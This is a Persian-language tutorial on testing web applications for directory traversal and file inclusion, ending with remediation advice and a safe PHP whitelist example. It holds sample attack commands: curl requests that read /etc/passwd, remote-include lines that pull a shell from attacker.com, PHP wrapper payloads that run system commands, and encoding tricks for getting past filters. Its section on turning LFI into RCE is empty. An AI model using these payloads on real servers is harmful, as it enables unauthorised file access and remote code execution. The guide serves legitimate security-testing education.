تست مسیریابی دایرکتوری و شامل‌سازی فایل

تست مسیریابی دایرکتوری و شامل‌سازی فایل چیست؟

آسیب‌پذیری مسیریابی دایرکتوری (Directory Traversal یا Path Traversal) زمانی رخ می‌دهد که برنامه وب به کاربر اجازه می‌دهد با استفاده از کاراکترهای خاص مثل ../ فراتر از دایرکتوری مجاز حرکت کند و به فایل‌های حساس سیستم دسترسی پیدا کند. شامل‌سازی فایل (File Inclusion) زمانی رخ می‌دهد که برنامه فایل‌ها را بر اساس ورودی کاربر بارگذاری می‌کند.

چرا این آسیب‌پذیری مهم است؟

این آسیب‌پذیری‌ها می‌توانند منجر به دسترسی غیرمجاز به فایل‌های حساس سیستم، خواندن کد منبع برنامه، دسترسی به رمزهای عبور و تنظیمات، و حتی اجرای کد از راه دور شوند. در موارد حاد، مهاجم می‌تواند کنترل کامل سرور را به دست آورد.

روش‌شناسی تست

مرحله ۱: شناسایی نقاط ورودی

ابتدا تمام نقاطی که برنامه فایل‌ها را بر اساس ورودی کاربر بارگذاری می‌کند شناسایی کنید. این نقاط معمولاً در پارامترهای URL، فرم‌ها و headers وجود دارند.

1# جستجوی پارامترهایی که فایل بارگذاری می‌کنند
2# مثال‌های رایج:
3# ?page=home.php
4# ?file=config.inc
5# ?template=default
6# ?include=header.php
7# ?lang=en
8# ?document=report.pdf
9
10# تست ساده Directory Traversal
11curl "https://target.com/page=../../../etc/passwd"
12curl "https://target.com/file=..\\..\\..\\windows\\win.ini"

مرحله ۲: تست Directory Traversal

با استفاده از کاراکترهای ../ سعی کنید از دایرکتوری مجاز خارج شوید و به فایل‌های حساس دسترسی پیدا کنید.

مرحله ۳: تست File Inclusion

اگر برنامه فایل‌ها را بارگذاری می‌کند، هم LFI و هم RFI را تست کنید.

1# تست LFI
2curl "https://target.com/page=../../../etc/passwd"
3curl "https://target.com/page=php://filter/convert.base64-encode/resource=config.php"
4
5# تست RFI
6curl "https://target.com/page=http://attacker.com/shell.txt"
7curl "https://target.com/page=//attacker.com/shell.txt"
8
9# تست با PHP wrappers
10curl "https://target.com/page=php://input" -d '<?php system("id"); ?>'
11curl "https://target.com/page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJpZCIpOyA/Pg=="

مرحله ۴: دور زدن فیلترها

اگر فیلترهایی وجود دارند، تکنیک‌های مختلف دور زدن را تست کنید:

• Encoding: %2e%2e%2f به جای ../
• Double encoding: %252e%252e%252f
• Null byte: ../../../etc/passwd%00
• پسوند مضاعف: ../../../etc/passwd.php
• فیلتر مضاعف: ..././..././..././etc/passwd
• استفاده از مسیر مطلق: /etc/passwd
• استفاده از PHP wrappers: php://filter

تبدیل LFI به RCE

LFI می‌تواند از طریق تکنیک‌های مختلف به اجرای کد از راه دور (RCE) تبدیل شود:

تأثیر

آسیب‌پذیری Directory Traversal و File Inclusion می‌تواند منجر به دسترسی غیرمجاز به فایل‌های حساس، خواندن رمزهای عبور و تنظیمات، اجرای کد از راه دور، و کنترل کامل سرور شود.

راه‌حل

• از لیست سفید فایل‌های مجاز استفاده کنید
• ورودی کاربر را اعتبارسنجی و sanitize کنید
• از توابع امن مثل realpath() استفاده کنید
• allow_url_include را در PHP غیرفعال کنید
• دسترسی به فایل‌های حساس را محدود کنید
• از chroot یا sandboxing استفاده کنید
• لاگ‌برداری و مانیتورینگ فعال کنید

1<?php
2// لیست سفید فایل‌های مجاز
3$allowed_files = ['home', 'about', 'contact', 'services'];
4$page = $_GET['page'] ?? 'home';
5
6// اعتبارسنجی ورودی
7if (!in_array($page, $allowed_files)) {
8    $page = 'home'; // مقدار پیش‌فرض
9}
10
11// استفاده از مسیر امن
12$safe_path = realpath(__DIR__ . '/pages/' . $page . '.php');
13$base_path = realpath(__DIR__ . '/pages/');
14
15// بررسی اینکه فایل داخل دایرکتوری مجاز است
16if ($safe_path === false || strpos($safe_path, $base_path) !== 0) {
17    $page = 'home';
18}
19
20include __DIR__ . '/pages/' . $page . '.php';
21?>